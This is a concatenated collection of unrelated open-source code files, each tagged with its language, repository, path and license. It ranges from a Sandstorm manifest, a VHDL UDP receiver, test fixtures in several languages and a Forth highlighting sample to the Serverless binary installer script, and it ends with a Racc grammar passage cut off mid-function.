icons = (
appGrid = (png = (dpi1x = embed "client/images/drawlogo128.png")),
grain = (png = (dpi1x = embed "client/images/drawlogo48.png")),
market = (png = (dpi1x = embed "client/images/drawlogo256.png")),
),
website = "https://www.draw.io/",
codeUrl = "https://github.com/jgraph/draw.io",
license = (openSource = gpl3),
categories = [office, productivity],
author = (
upstreamAuthor = "JGraph",
contactEmail = "[email protected]",
pgpSignature = embed "pgp-signature",
),
pgpKeyring = embed "pgp-keyring",
description = (defaultText = embed "description.md"),
shortDescription = (defaultText = embed "shortDesc.txt"),
screenshots = [
(width = 448, height = 243, png = embed "client/images/drawio448.png")
],
changeLog = (defaultText = embed "ChangeLog"),
)
),
sourceMap = (
# Here we define where to look for files to copy into your package.
searchPath = [
( packagePath = "server", sourcePath = "server" ),
# Map server binary at "/server".
( packagePath = "client", sourcePath = "client" ),
# Map client directory at "/client".
]
),
alwaysInclude = [ "." ]
# Always include all mapped files, whether or not they are opened during
# "spk dev".
);
const appIndexViewInfo :Grain.UiView.ViewInfo = (
permissions = [(name = "write", title = (defaultText = "write"),
description = (defaultText = "allows editing diagrams")),
(name = "read", title = (defaultText = "read"),
description = (defaultText = "allows viewing diagrams"))],
roles = [(title = (defaultText = "editor"),
permissions = [true, true],
verbPhrase = (defaultText = "can edit"),
default = true),
(title = (defaultText = "viewer"),
permissions = [false, true],
verbPhrase = (defaultText = "can view"))]
);
const myCommand :Spk.Manifest.Command = (
# Here we define the command used to start up your server.
argv = ["/server"],
environ = [
# Note that this defines the *entire* environment seen by your app.
(key = "PATH", value = "/usr/local/bin:/usr/bin:/bin")
]
);
| Cap'n Proto | 4 | rgfernandes/draw.io | etc/sandstorm/sandstorm-pkgdef.capnp | [
"Apache-2.0"
] |
# for more details see: http://emberjs.com/guides/components/
<%= application_name.camelize %>.<%= class_name %>Component = Ember.Component.extend({
})
| EmberScript | 3 | JakeKaad/ember-rails | lib/generators/templates/component.em | [
"MIT"
] |
#world {
line-dasharray: none;
line-dash-offset: none;
line-geometry-transform: none;
line-join: none;
line-cap: none;
line-gamma-method: none;
line-simplify-algorithm: none;
line-rasterizer: none;
line-comp-op: none;
point-transform: none;
point-placement: none;
point-comp-op: none;
line-pattern-file: none;
line-pattern-transform: none;
line-pattern-geometry-transform: none;
line-pattern-simplify-algorithm: none;
line-pattern-comp-op: none;
polygon-pattern-file: none;
polygon-pattern-transform: none;
polygon-pattern-geometry-transform: none;
polygon-pattern-alignment: none;
polygon-pattern-simplify-algorithm: none;
polygon-pattern-comp-op: none;
marker-transform: none;
marker-geometry-transform: none;
marker-placement: none;
marker-multi-policy: none;
marker-type: none;
marker-simplify-algorithm: none;
marker-comp-op: none;
marker-direction: none;
shield-file: none;
shield-face-name: none;
shield-transform: none;
shield-text-transform: none;
shield-placement: none;
shield-halo-rasterizer: none;
shield-halo-comp-op: none;
shield-horizontal-alignment: none;
shield-vertical-alignment: none;
shield-placement-type: none;
shield-justify-alignment: none;
shield-simplify-algorithm: none;
shield-comp-op: none;
polygon-geometry-transform: none;
polygon-gamma-method: none;
polygon-simplify-algorithm: none;
polygon-comp-op: none;
image-filters: none;
direct-image-filters: none;
comp-op: none;
raster-scaling: none;
raster-comp-op: none;
raster-colorizer-default-mode: none;
text-name: [name];
text-face-name: 'Arial';
text-spacing: none;
text-character-spacing: none;
text-line-spacing: none;
text-label-position-tolerance: none;
text-halo-rasterizer: none;
text-vertical-alignment: none;
text-upright: none;
text-placement: none;
text-placement-type: none;
text-horizontal-alignment: none;
text-align: none;
text-simplify-algorithm: none;
text-comp-op: none;
text-halo-comp-op: none;
dot-comp-op: none;
}
| CartoCSS | 2 | nimix/carto | test/rendering-mss/issue_214.mss | [
"Apache-2.0"
] |
// regression test for https://github.com/nddrylliog/rock/issues/639
Bag: class <J, K, L> {
j: J
k: K
l: L
init: func (=j, =k, =l)
}
peekaboo: func <A, B, C, D, E, F> (arg: Bag<A, B, C>, arg2: Bag<D, E, F>) {
"A = %s" printfln(A name)
"B = %s" printfln(B name)
"C = %s" printfln(C name)
"D = %s" printfln(D name)
"E = %s" printfln(E name)
"F = %s" printfln(F name)
}
main: func {
peekaboo(Bag new(3.14, 42, "Huhu"), Bag new(3.14, 42, "Huhu"))
}
| ooc | 3 | shamanas/rock | test/compiler/generics/function-typearg-infer-from-nested-generic-argument.ooc | [
"MIT"
] |
--[[
OpenAPI Petstore
This is a sample server Petstore server. For this sample, you can use the api key `special-key` to test the authorization filters.
OpenAPI spec version: 1.0.0
Generated by: https://openapi-generator.tech
]]
--[[
Unit tests for petstore.api.pet_api
Automatically generated by openapi-generator (https://openapi-generator.tech)
Please update as you see appropriate
]]
describe("pet_api", function()
local petstore_pet_api = require "petstore.api.pet_api"
-- unit tests for add_pet
describe("add_pet test", function()
it("should work", function()
-- TODO assertion here: http://olivinelabs.com/busted/#asserts
end)
end)
-- unit tests for delete_pet
describe("delete_pet test", function()
it("should work", function()
-- TODO assertion here: http://olivinelabs.com/busted/#asserts
end)
end)
-- unit tests for find_pets_by_status
describe("find_pets_by_status test", function()
it("should work", function()
-- TODO assertion here: http://olivinelabs.com/busted/#asserts
end)
end)
-- unit tests for find_pets_by_tags
describe("find_pets_by_tags test", function()
it("should work", function()
-- TODO assertion here: http://olivinelabs.com/busted/#asserts
end)
end)
-- unit tests for get_pet_by_id
describe("get_pet_by_id test", function()
it("should work", function()
-- TODO assertion here: http://olivinelabs.com/busted/#asserts
end)
end)
-- unit tests for update_pet
describe("update_pet test", function()
it("should work", function()
-- TODO assertion here: http://olivinelabs.com/busted/#asserts
end)
end)
-- unit tests for update_pet_with_form
describe("update_pet_with_form test", function()
it("should work", function()
-- TODO assertion here: http://olivinelabs.com/busted/#asserts
end)
end)
-- unit tests for upload_file
describe("upload_file test", function()
it("should work", function()
-- TODO assertion here: http://olivinelabs.com/busted/#asserts
end)
end)
end)
| Lua | 4 | MalcolmScoffable/openapi-generator | samples/client/petstore/lua/spec/pet_api_spec.lua | [
"Apache-2.0"
] |
(
Example File for ANS Forth Syntax Highlighting
6th December 2011 Mark Corbin <[email protected]>
Version 1.0 06-12-11
- Initial release.
)
\ This is a single line comment.
( This
is
a
multi-line
comment )
\ Single Characters
char A
[char] B
\ Strings
." Display this string."
s" Compile this string."
abort" This is an error message."
word parsethisstring
c" Compile another string."
parse parsethisstringtoo
.( Display this string too.)
\ Constants and Variables
variable myvar
2variable mydoublevar
constant myconst
2constant mydoubleconst
value myval
20 to myval
fvariable myfloatvar
fconstant myfloatconst
locals| a b c d|
\ Single Numbers
123
-123
\ Double Numbers
123.
12.3
-123.
-12.3
\ Floating Point Numbers
1.2e3
-1.2e3
12e-3
+12e-3
-12e-3
+12e+3
\ Keywords (one from each list)
dup
roll
flush
scr
dnegate
2rot
catch
abort
at-xy
time&date
file-size
rename-file
fround
fsincos
(local)
locals| |
allocate
words
assembler
search-wordlist
order
/string
\ Obsolete Keywords (one from each list)
tib
forget
\ Simple Word Definition
: square ( n1 -- n2 )
dup \ Duplicate n1 on top of stack.
* \ Multiply values together leaving result n2.
;
\ Words that Define New Words or Reference Existing Words
create newword
marker newmarker
[compile] existingword
see existingword
code newcodeword
forget existingword
\ Loop Constructs
: squares ( -- )
10 0 do
i
dup
*
.
loop
;
: forever ( -- )
begin
." This is an infinite loop."
again
;
variable counter
0 counter !
: countdown ( -- )
begin
counter @ \ Fetch counter
dup . \ Display count value
1- dup counter ! \ Decrement counter
0= \ Loop until counter = 0
until
;
: countup ( -- )
begin
counter @ \ Fetch counter
dup . \ Display count value
10
<
while
1 counter +! \ Increment counter if < 10
repeat
;
\ Conditional Constructs
: testnegative ( n -- )
0< if
." Number is negative"
then
;
variable flag
0 flag !
: toggleflag ( -- )
flag @ if \ Fetch flag and test
." Flag is true."
0 flag ! \ Set flag to false
else
." Flag is false."
1 flag ! \ Set flag to true
then
;
: translatenumber ( n -- )
case
1 of
." Eins"
endof
2 of
." Zwei"
endof
3 of
." Drei"
endof
." Please choose a number between 1 and 3."
endcase
;
\ END OF FILE
| Forth | 5 | subethaedit/SubEthaEd | Documentation/ModeDevelopment/Reference Files/hl/highlight.4th | [
"MIT"
] |
/*
* Copyright 2013 The Sculptor Project Team, including the original
* author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.sculptor.generator.formatter
import org.eclipse.jdt.internal.compiler.ast.ImportReference
import org.eclipse.jdt.internal.compiler.ast.QualifiedNameReference
import org.eclipse.jdt.internal.compiler.ast.QualifiedTypeReference
import org.eclipse.text.edits.DeleteEdit
import org.eclipse.jdt.internal.compiler.lookup.Binding
import org.eclipse.jdt.internal.compiler.ast.ASTNode
class ASTNodeHelper {
//// Qualified Type References
static def shortTypeName(QualifiedTypeReference reference) {
String.valueOf(reference.tokens.last)
}
static def qualifiedTypeName(QualifiedTypeReference reference) {
val buf = new StringBuffer
for (i : 0 ..< reference.tokens.length) {
if (i > 0) buf.append('.')
buf.append(reference.tokens.get(i))
}
buf.toString
}
static def qualificationLenth(QualifiedTypeReference reference) {
reference.qualifiedTypeName.length - reference.shortTypeName.length
}
static def renameTextEdit(QualifiedTypeReference reference) {
new DeleteEdit(reference.sourceStart, reference.qualificationLenth)
}
//// Qualified Name References
static def shortTypeName(QualifiedNameReference reference) {
for (i : 0 ..< reference.tokens.length) {
val token = reference.tokens.get(i)
if (Character.isUpperCase(token.get(0))) {
return new String(token)
}
}
}
static def isFullyQualified(QualifiedNameReference reference) {
val typeTokens = reference.tokens.length - if (reference.isVariable) 1 else 0
typeTokens > 1
}
static def qualifiedTypeName(QualifiedNameReference reference) {
val buf = new StringBuffer
for (i : 0 ..< reference.tokens.length) {
val token = reference.tokens.get(i)
if (i > 0) buf.append('.')
buf.append(token)
if (Character.isUpperCase(token.get(0))) {
return buf.toString
}
}
}
static def qualificationLenth(QualifiedNameReference reference) {
var length = 0
for (i : 0 ..< reference.tokens.length) {
val token = reference.tokens.get(i)
if (Character.isLowerCase(token.get(0))) {
length = length + token.length
if (i > 0) length = length + 1
} else {
return length + 1
}
}
}
static def isType(QualifiedNameReference reference) {
reference.bits.bitwiseAnd(Binding.TYPE) == Binding.TYPE
}
static def isVariable(QualifiedNameReference reference) {
reference.bits.bitwiseAnd(ASTNode.RestrictiveFlagMASK) == Binding.VARIABLE
}
static def renameTextEdit(QualifiedNameReference reference) {
new DeleteEdit(reference.sourceStart, reference.qualificationLenth)
}
//// Import References
static def shortTypeName(ImportReference reference) {
String.valueOf(reference.tokens.last)
}
static def qualifiedTypeName(ImportReference reference) {
reference.print(0, new StringBuffer(), false).toString
}
}
| Xtend | 3 | sculptor/sculptor | sculptor-generator/sculptor-generator-core/src/main/java/org/sculptor/generator/formatter/ASTNodeHelper.xtend | [
"Apache-2.0"
] |
# Check order-only dependency formatting.
#
# RUN: %{llbuild} ninja load-manifest %s > %t
# RUN: %{FileCheck} < %t %s
# CHECK: "target-a": phony | "target-b"
# CHECK: "target-b": phony || "target-a"
# CHECK: "target-c": phony | "target-a" || "target-b"
build target-a: phony | target-b
build target-b: phony || target-a
build target-c: phony | target-a || target-b
| Ninja | 4 | val-verde/swift-llbuild | tests/Ninja/Loader/dependency-format.ninja | [
"Apache-2.0"
] |
'reach 0.1';
import blah from 'sample_lib.rsh';
export const main = Reach.App(
{}, [], () => {
return x;
}
);
| RenderScript | 1 | chikeabuah/reach-lang | hs/t/n/Err_Import_IllegalJS.rsh | [
"Apache-2.0"
] |
module.exports = typeof require; | JavaScript | 1 | 1shenxi/webpack | test/cases/parsing/typeof/typeof.js | [
"MIT"
] |
----------------------------------------------------------------------------------
-- Engineer: Mike Field <[email protected]>
--
-- Module Name: udp_rx_packet - Behavioral
--
-- Description: For receiving UDP packets
--
------------------------------------------------------------------------------------
-- FPGA_Webserver from https://github.com/hamsternz/FPGA_Webserver
------------------------------------------------------------------------------------
-- The MIT License (MIT)
--
-- Copyright (c) 2015 Michael Alan Field <[email protected]>
--
-- Permission is hereby granted, free of charge, to any person obtaining a copy
-- of this software and associated documentation files (the "Software"), to deal
-- in the Software without restriction, including without limitation the rights
-- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-- copies of the Software, and to permit persons to whom the Software is
-- furnished to do so, subject to the following conditions:
--
-- The above copyright notice and this permission notice shall be included in
-- all copies or substantial portions of the Software.
--
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-- THE SOFTWARE.
--
--
----------------------------------------------------------------------------------
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
entity udp_rx_packet is
generic (
our_ip : std_logic_vector(31 downto 0) := (others => '0');
our_broadcast : std_logic_vector(31 downto 0) := (others => '0');
our_mac : std_logic_vector(47 downto 0) := (others => '0'));
port(
clk : in STD_LOGIC;
packet_in_valid : in STD_LOGIC;
packet_in_data : in STD_LOGIC_VECTOR (7 downto 0);
udp_rx_valid : out std_logic := '0';
udp_rx_data : out std_logic_vector(7 downto 0) := (others => '0');
udp_rx_src_ip : out std_logic_vector(31 downto 0) := (others => '0');
udp_rx_src_port : out std_logic_vector(15 downto 0) := (others => '0');
udp_rx_dst_broadcast : out std_logic := '0';
udp_rx_dst_port : out std_logic_vector(15 downto 0) := (others => '0'));
end udp_rx_packet;
architecture Behavioral of udp_rx_packet is
component ethernet_extract_header
generic (
our_mac : std_logic_vector(47 downto 0) := (others => '0'));
Port ( clk : in STD_LOGIC;
filter_ether_type : in STD_LOGIC_VECTOR (15 downto 0);
data_valid_in : in STD_LOGIC;
data_in : in STD_LOGIC_VECTOR (7 downto 0);
data_valid_out : out STD_LOGIC := '0';
data_out : out STD_LOGIC_VECTOR (7 downto 0) := (others => '0');
ether_dst_mac : out STD_LOGIC_VECTOR (47 downto 0) := (others => '0');
ether_src_mac : out STD_LOGIC_VECTOR (47 downto 0) := (others => '0'));
end component;
signal ether_extracted_data_valid : STD_LOGIC := '0';
signal ether_extracted_data : STD_LOGIC_VECTOR (7 downto 0) := (others => '0');
signal ether_is_ipv4 : STD_LOGIC := '0';
signal ether_src_mac : STD_LOGIC_VECTOR (47 downto 0) := (others => '0');
component ip_extract_header
generic (
our_ip : std_logic_vector(31 downto 0) := (others => '0');
our_broadcast : std_logic_vector(31 downto 0) := (others => '0'));
Port ( clk : in STD_LOGIC;
data_valid_in : in STD_LOGIC;
data_in : in STD_LOGIC_VECTOR (7 downto 0);
data_valid_out : out STD_LOGIC;
data_out : out STD_LOGIC_VECTOR (7 downto 0);
filter_protocol : in STD_LOGIC_VECTOR (7 downto 0);
ip_version : out STD_LOGIC_VECTOR (3 downto 0);
ip_type_of_service : out STD_LOGIC_VECTOR (7 downto 0);
ip_length : out STD_LOGIC_VECTOR (15 downto 0);
ip_identification : out STD_LOGIC_VECTOR (15 downto 0);
ip_flags : out STD_LOGIC_VECTOR (2 downto 0);
ip_fragment_offset : out STD_LOGIC_VECTOR (12 downto 0);
ip_ttl : out STD_LOGIC_VECTOR (7 downto 0);
ip_checksum : out STD_LOGIC_VECTOR (15 downto 0);
ip_src_ip : out STD_LOGIC_VECTOR (31 downto 0);
ip_dest_ip : out STD_LOGIC_VECTOR (31 downto 0);
ip_dest_broadcast : out STD_LOGIC);
end component;
signal ip_extracted_data_valid : STD_LOGIC := '0';
signal ip_extracted_data : STD_LOGIC_VECTOR (7 downto 0) := (others => '0');
signal ip_version : STD_LOGIC_VECTOR (3 downto 0) := (others => '0');
signal ip_type_of_service : STD_LOGIC_VECTOR (7 downto 0) := (others => '0');
signal ip_length : STD_LOGIC_VECTOR (15 downto 0) := (others => '0');
signal ip_identification : STD_LOGIC_VECTOR (15 downto 0) := (others => '0');
signal ip_flags : STD_LOGIC_VECTOR (2 downto 0) := (others => '0');
signal ip_fragment_offset : STD_LOGIC_VECTOR (12 downto 0) := (others => '0');
signal ip_ttl : STD_LOGIC_VECTOR (7 downto 0) := (others => '0');
signal ip_checksum : STD_LOGIC_VECTOR (15 downto 0) := (others => '0');
signal ip_src_ip : STD_LOGIC_VECTOR (31 downto 0) := (others => '0');
signal ip_dest_ip : STD_LOGIC_VECTOR (31 downto 0) := (others => '0');
signal ip_dest_broadcast : STD_LOGIC := '0';
component udp_extract_udp_header
Port ( clk : in STD_LOGIC;
data_valid_in : in STD_LOGIC;
data_in : in STD_LOGIC_VECTOR (7 downto 0);
data_valid_out : out STD_LOGIC;
data_out : out STD_LOGIC_VECTOR (7 downto 0);
udp_src_port : out STD_LOGIC_VECTOR (15 downto 0);
udp_dst_port : out STD_LOGIC_VECTOR (15 downto 0);
udp_length : out STD_LOGIC_VECTOR (15 downto 0);
udp_checksum : out STD_LOGIC_VECTOR (15 downto 0));
end component;
signal udp_extracted_data_valid : STD_LOGIC := '0';
signal udp_extracted_data : STD_LOGIC_VECTOR (7 downto 0) := (others => '0');
signal udp_checksum : STD_LOGIC_VECTOR (15 downto 0);
signal udp_src_port : STD_LOGIC_VECTOR (15 downto 0);
signal udp_dst_port : STD_LOGIC_VECTOR (15 downto 0);
signal udp_length : STD_LOGIC_VECTOR (15 downto 0);
begin
i_ethernet_extract_header: ethernet_extract_header generic map (
our_mac => our_mac)
port map (
clk => clk,
data_valid_in => packet_in_valid,
data_in => packet_in_data,
data_valid_out => ether_extracted_data_valid,
data_out => ether_extracted_data,
filter_ether_type => x"0800",
ether_dst_mac => open,
ether_src_mac => ether_src_mac);
i_ip_extract_header: ip_extract_header generic map (
our_ip => our_ip,
our_broadcast => our_broadcast)
port map (
clk => clk,
data_valid_in => ether_extracted_data_valid,
data_in => ether_extracted_data,
data_valid_out => ip_extracted_data_valid,
data_out => ip_extracted_data,
filter_protocol => x"11",
ip_version => ip_version,
ip_type_of_service => ip_type_of_service,
ip_length => ip_length,
ip_identification => ip_identification,
ip_flags => ip_flags,
ip_fragment_offset => ip_fragment_offset,
ip_ttl => ip_ttl,
ip_checksum => ip_checksum,
ip_src_ip => ip_src_ip,
ip_dest_ip => ip_dest_ip,
ip_dest_broadcast => ip_dest_broadcast);
i_udp_extract_udp_header : udp_extract_udp_header port map (
clk => clk,
data_valid_in => ip_extracted_data_valid,
data_in => ip_extracted_data,
data_valid_out => udp_extracted_data_valid,
data_out => udp_extracted_data,
udp_src_port => udp_src_port,
udp_dst_port => udp_dst_port,
udp_length => udp_length,
udp_checksum => udp_checksum);
----------------------------------------------
-- Pass the received data stream to the
-- rest of the FPGA desig.
----------------------------------------------
udp_rx_valid <= udp_extracted_data_valid;
udp_rx_data <= udp_extracted_data;
udp_rx_src_ip <= ip_src_ip;
udp_rx_src_port <= udp_src_port;
udp_rx_dst_broadcast <= ip_dest_broadcast;
udp_rx_dst_port <= udp_dst_port;
end Behavioral;
| VHDL | 4 | hamsternz/FPGA_Webserver | hdl/udp/udp_rx_packet.vhd | [
"MIT"
] |
module FirebaseyTestPlace end
@testset "Firebasey" begin
Core.eval(FirebaseyTestPlace, quote
using Test
include("../src/webserver/Firebasey.jl")
end)
end
| Julia | 2 | Mechachleopteryx/Pluto.jl | test/Firebasey.jl | [
"MIT"
] |
#!/bin/bash
#
# Copyright 2020 PingCAP, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# This test is used to test compatible for BR restore.
# It will download backup data from internal file server.
# And make sure these backup data can restore through newly BR tools to newly cluster.
set -eu
source ${BASH_SOURCE[0]%/*}/../compatibility/get_last_tags.sh
getLatestTags
echo "start test on $TAGS"
EXPECTED_KVS=1000
PD_ADDR="pd0:2379"
GCS_HOST="gcs"
GCS_PORT="20818"
TEST_DIR=/tmp/backup_restore_compatibility_test
mkdir -p "$TEST_DIR"
rm -f "$TEST_DIR"/*.log &> /dev/null
for script in br/tests/docker_compatible_*/${1}.sh; do
echo "*===== Running test $script... =====*"
TEST_DIR="$TEST_DIR" \
PD_ADDR="$PD_ADDR" \
GCS_HOST="$GCS_HOST" \
GCS_PORT="$GCS_PORT" \
TAGS="$TAGS" \
EXPECTED_KVS="$EXPECTED_KVS" \
PATH="br/tests/_utils:bin:$PATH" \
TEST_NAME="$(basename "$(dirname "$script")")" \
BR_LOG_TO_TERM=1 \
bash "$script"
done
| Shell | 3 | cuishuang/tidb | br/tests/run_compatible.sh | [
"Apache-2.0"
] |
// rustfmt-format_strings: true
// rustfmt-max_width: 80
fn test1() {
let expected = "\
but Doctor Watson has to have it taken out for him and dusted,
";
}
fn test2() {
let expected = "\
[Omitted long matching line]
but Doctor Watson has to have it taken out for him and dusted,
";
}
| Rust | 3 | mbc-git/rust | src/tools/rustfmt/tests/target/format_strings/issue-2833.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
<mat-form-field appearance="fill">
<mat-label>Message</mat-label>
<input matInput value="Disco party!" #message>
</mat-form-field>
<mat-form-field appearance="fill">
<mat-label>Action</mat-label>
<input matInput value="Dance" #action>
</mat-form-field>
<button mat-stroked-button (click)="openSnackBar(message.value, action.value)">Show snack-bar</button>
| HTML | 3 | tungyingwaltz/components | src/components-examples/material/snack-bar/snack-bar-overview/snack-bar-overview-example.html | [
"MIT"
] |
(declare-const str String)
(declare-const lower Int)
(declare-const upper Int)
(assert (< lower upper))
(define-fun substr () String (str.substr str lower upper))
(assert (= substr "cde"))
(assert (= (str.substr str upper lower) "cde"))
(assert (not (= str substr)))
(check-sat)
| SMT | 3 | mauguignard/cbmc | regression/smt2_strings/substr_input_unsat/substr_input_unsat.smt2 | [
"BSD-4-Clause"
] |
// Compile with:
// mtasc -main -header 200:150:30 Test.as -swf test.swf
class Test {
static function main(current) {
// Regression test for issue #2123
var mc = current.createEmptyMovieClip("mc", 1);
var loader = new MovieClipLoader();
loader.onLoadInit = function(mc2) {
trace("onLoadInit");
};
loader.onLoadError = function(mc2) {
trace("onLoadError");
}
trace("loading...");
loader.loadClip("bogus.swf", mc);
}
} | ActionScript | 4 | Sprak1/ruffle | tests/tests/swfs/avm1/loadmovie_fail/Test.as | [
"Apache-2.0",
"Unlicense"
] |
parameters {
array[2] real<lower=-10, upper=10> y;
}
model {
y ~ normal(0, 1);
}
generated quantities {
print("no QoIs");
}
| Stan | 3 | sthagen/stan-dev-stan | src/test/test-models/good/services/test_gq2.stan | [
"CC-BY-3.0",
"BSD-3-Clause"
] |
function fooBar()
return "foo bar"
end function
function barBaz()
return "bar baz"
end function
function mockFunctionsHelper()
_brs_.mockFunction("fooBar", function() as string
return "fake fooBar"
end function)
_brs_.mockFunction("barBaz", function() as string
return "fake barBaz"
end function)
end function
function mockComponentsHelper()
_brs_.mockComponent("ResetMocks_Testbed", {
foo: "fake testbed 1"
})
_brs_.mockComponent("ResetMocks_Testbed_2", {
foo: "fake testbed 2"
})
end function
function funcTestbed()
return "real funcTestbed"
end function
| Brightscript | 3 | lkipke/brs | test/e2e/resources/components/mocks/reset/helpers.brs | [
"MIT"
] |
; v0.11
[Components]
Name: "autoit\exe2aut"; Description: "Exe2Aut"; Types: full;
[Files]
Source: "{#MySrcDir}\autoit\exe2aut\*"; DestDir: "{app}\autoit\exe2aut"; Components: "autoit\exe2aut"; Flags: ignoreversion recursesubdirs createallsubdirs
[Icons]
Name: "{group}\{#MyAppName}\Exe2Aut"; Filename: "{app}\autoit\exe2aut\Exe2Aut.exe"; Components: "autoit\exe2aut"
Name: "{app}\sendto+\sendto\AutoIt decompilers\Exe2Aut"; Filename: "{app}\autoit\exe2aut\Exe2Aut.exe"; Components: "autoit\exe2aut" | Inno Setup | 2 | hugmyndakassi/retoolkit | src/installer/autoit/exe2aut.iss | [
"Apache-2.0"
] |
#!/usr/bin/env bash
#
# Download and install standalone binary.
# The binary version can be specified by setting a VERSION variable.
# e.g. VERSION=2.21.1 bash install.sh
# If VERSION is unspecified it will download the latest version.
set -e
reset="\033[0m"
red="\033[31m"
green="\033[32m"
yellow="\033[33m"
cyan="\033[36m"
white="\033[37m"
printf "\n$yellow Installing Serverless!$reset\n\n"
# Detect platform
if [[ $OSTYPE == "linux-gnu" ]]; then
PLATFORM="linux"
elif [[ $OSTYPE == "darwin"* ]]; then
PLATFORM="macos"
else
echo "$red Sorry, there's no serverless binary installer available for this platform. Please open request for it at https://github.com/serverless/serverless/issues.$reset"
exit 1
fi
# Detect architecture
MACHINE_TYPE=`uname -m`
if [[ $MACHINE_TYPE == "x86_64" ]]; then
ARCH='x64'
else
echo "$red Sorry, there's no serverless binary installer available for $MACHINE_TYPE architecture. Please open request for it at https://github.com/serverless/serverless/issues.$reset"
exit 1
fi
if [ -n "$SLS_GEO_LOCATION" ]
then
if [[ $SLS_GEO_LOCATION == "cn" ]]
then
IS_IN_CHINA=1
fi
else
TIMEZONE_OFFSET=`date +"%Z %z"`
if [[ $TIMEZONE_OFFSET == "CST +0800" ]]
then
IS_IN_CHINA=1
fi
fi
if [[ -z "${VERSION}" ]]
then
# Get latest tag
if [[ $IS_IN_CHINA == "1" ]]
then
TAG=`curl -L --silent https://sls-standalone-sv-1300963013.cos.na-siliconvalley.myqcloud.com/latest-tag`
else
TAG=`curl -L --silent https://api.github.com/repos/serverless/serverless/releases/latest 2>&1 | grep 'tag_name' | grep -oE "v[0-9]+\.[0-9]+\.[0-9]+"`
fi
VERSION=${TAG:1}
else
TAG=v$VERSION
fi
if [[ $IS_IN_CHINA == "1" ]]
then
# In China download from location in China (Github API download is slow and times out)
BINARY_URL=https://sls-standalone-sv-1300963013.cos.na-siliconvalley.myqcloud.com/$TAG/serverless-$PLATFORM-$ARCH
else
BINARY_URL=https://github.com/serverless/serverless/releases/download/$TAG/serverless-$PLATFORM-$ARCH
fi
# Download binary
BINARIES_DIR_PATH=$HOME/.serverless/bin
BINARY_PATH=$BINARIES_DIR_PATH/serverless
mkdir -p $BINARIES_DIR_PATH
printf "$yellow Downloading binary for version $VERSION...$reset\n"
version_error_msg (){
echo "Could not download binary. Is the version correct?"
}
trap version_error_msg ERR
curl --fail -L -o $BINARY_PATH.tmp $BINARY_URL
trap - ERR
mv $BINARY_PATH.tmp $BINARY_PATH
chmod +x $BINARY_PATH
# Ensure aliases
ln -sf serverless $BINARIES_DIR_PATH/sls
# Add to $PATH
SOURCE_STR="# Added by serverless binary installer\nexport PATH=\"\$HOME/.serverless/bin:\$PATH\"\n"
add_to_path () {
command printf "\n$SOURCE_STR" >> "$1"
printf "\n$yellow Added the following to $1:\n\n$SOURCE_STR$reset"
}
SHELLTYPE="$(basename "/$SHELL")"
if [[ $SHELLTYPE = "fish" ]]; then
command fish -c 'set -U fish_user_paths $fish_user_paths ~/.serverless/bin'
printf "\n$yellow Added ~/.serverless/bin to fish_user_paths universal variable$reset."
elif [[ $SHELLTYPE = "zsh" ]]; then
SHELL_CONFIG=$HOME/.zshrc
if [ ! -r $SHELL_CONFIG ] || (! `grep -q '.serverless/bin' $SHELL_CONFIG`); then
add_to_path $SHELL_CONFIG
fi
else
SHELL_CONFIG=$HOME/.bashrc
if [ ! -r $SHELL_CONFIG ] || (! `grep -q '.serverless/bin' $SHELL_CONFIG`); then
add_to_path $SHELL_CONFIG
fi
SHELL_CONFIG=$HOME/.bash_profile
if [[ -r $SHELL_CONFIG ]]; then
if [[ ! $(grep -q '.serverless/bin' $SHELL_CONFIG) ]]; then
add_to_path $SHELL_CONFIG
fi
else
SHELL_CONFIG=$HOME/.bash_login
if [[ -r $SHELL_CONFIG ]]; then
if [[ ! $(grep -q '.serverless/bin' $SHELL_CONFIG) ]]; then
add_to_path $SHELL_CONFIG
fi
else
SHELL_CONFIG=$HOME/.profile
if [ ! -r $SHELL_CONFIG ] || (! `grep -q '.serverless/bin' $SHELL_CONFIG`); then
add_to_path $SHELL_CONFIG
fi
fi
fi
fi
$HOME/.serverless/bin/serverless binary-postinstall
| Shell | 5 | Arun-kc/serverless | scripts/pkg/install.sh | [
"MIT"
] |
#
# racc tester
#
class Calcp
prechigh
left '*' '/'
left '+' '-'
preclow
convert
NUMBER 'Number'
end
rule
target : exp | /* none */ { result = 0 } ;
exp : exp '+' exp { result += val[2]; @plus = 'plus' }
| exp '-' exp { result -= val[2]; @str = "string test" }
| exp '*' exp { result *= val[2] }
| exp '/' exp { result /= val[2] }
| '(' { $emb = true } exp ')'
{
raise 'must not happen' unless $emb
result = val[2]
}
| '-' NUMBER { result = -val[1] }
| NUMBER
;
end
----header
class Number; end
----inner
def parse( src )
$emb = false
@plus = nil
@str = nil
@src = src
result = do_parse
if @plus
raise 'string parse failed' unless @plus == 'plus'
end
if @str
raise 'string parse failed' unless @str == 'string test'
end
result
end
def next_token
@src.shift
end
def initialize
@yydebug = true
end
----footer
$parser = Calcp.new
$test_number = 1
def chk( src, ans )
result = $parser.parse(src)
